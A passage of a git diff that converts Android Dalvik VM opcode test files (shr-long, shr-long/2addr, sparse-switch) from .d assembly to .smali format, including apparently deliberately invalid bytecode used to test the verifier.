+.method public run(II)J
+.registers 11
+
+       shr-long v0, v9, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.d
deleted file mode 100644
index f5e4cb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_5.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)J
-.limit regs 11
-
-       shr-long v0, v9, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.smali
new file mode 100644
index 0000000..3ed3098
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_5.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shr-long v0, v9, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.d
deleted file mode 100644
index 427d1c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_6.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long v0, v7, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.smali
new file mode 100644
index 0000000..a75ffb9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_6.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long v0, v7, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.d
deleted file mode 100644
index ad83dc8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_7.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 11
-
-       shr-long v0, v8, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.smali
new file mode 100644
index 0000000..f43d88b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_7.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_7.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shr-long v0, v8, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.d
deleted file mode 100644
index 0e9c36b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_1.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long/2addr v8, v10
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.smali
new file mode 100644
index 0000000..863ce76
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long/2addr v8, v10
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.d
deleted file mode 100644
index a0ebe17..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_2.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long/2addr v8, v11
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.smali
new file mode 100644
index 0000000..8035697
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long/2addr v8, v11
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.d
deleted file mode 100644
index c07af2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_3.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 11
-
-       shr-long/2addr v7, v9
-       return-wide v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.smali
new file mode 100644
index 0000000..5a84526
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shr-long/2addr v7, v9
+       return-wide v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.d
deleted file mode 100644
index 9db034e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_4.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)J
-.limit regs 11
-
-       shr-long/2addr v9, v10
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.smali
new file mode 100644
index 0000000..1199b78
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shr-long/2addr v9, v10
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.d
deleted file mode 100644
index f1045cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_5.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)J
-.limit regs 11
-
-       shr-long/2addr v9, v10
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.smali
new file mode 100644
index 0000000..6099a13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shr-long/2addr v9, v10
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.d
deleted file mode 100644
index 1326e76..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_6.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long/2addr v7, v10
-       return-wide v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.smali
new file mode 100644
index 0000000..5c653bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long/2addr v7, v10
+       return-wide v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.d
deleted file mode 100644
index 3b3db0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2addr_7.java
-.class public dot.junit.opcodes.shr_long_2addr.d.T_shr_long_2addr_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 11
-
-       shr-long/2addr v8, v10
-       return-wide v8
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.smali
new file mode 100644
index 0000000..0c43bd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2addr_7.java"
+.class  public Ldot/junit/opcodes/shr_long_2addr/d/T_shr_long_2addr_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shr-long/2addr v8, v10
+       return-wide v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.d
deleted file mode 100644
index bd3aaa5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_1.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       sparse-switch v4
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.smali
new file mode 100644
index 0000000..c497617
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_1.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_1;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.d
deleted file mode 100644
index 5853adb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_11.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       sparse-switch v4
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.smali
new file mode 100644
index 0000000..96a069a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_11.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_11;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_11.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.d
deleted file mode 100644
index feff623..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_12.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_12
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       sparse-switch v4
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.smali
new file mode 100644
index 0000000..54eda46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_12.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_12;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.d
deleted file mode 100644
index 8c7814d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_13.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_13
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-      goto Label0
-       sparse-switch v4
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-Label0:
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.smali
new file mode 100644
index 0000000..63a106f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_13.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_13;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto :goto_10
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_8
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_c
+    const p1, 0x14
+
+    return p1
+
+    :goto_10
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_8
+        0xa -> :sswitch_c
+        0xf -> :sswitch_c
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.d
deleted file mode 100644
index 074c119..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_14.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_14
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-      goto Label0
-Label0:
-       sparse-switch v4
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.smali
new file mode 100644
index 0000000..21007d7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_14.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
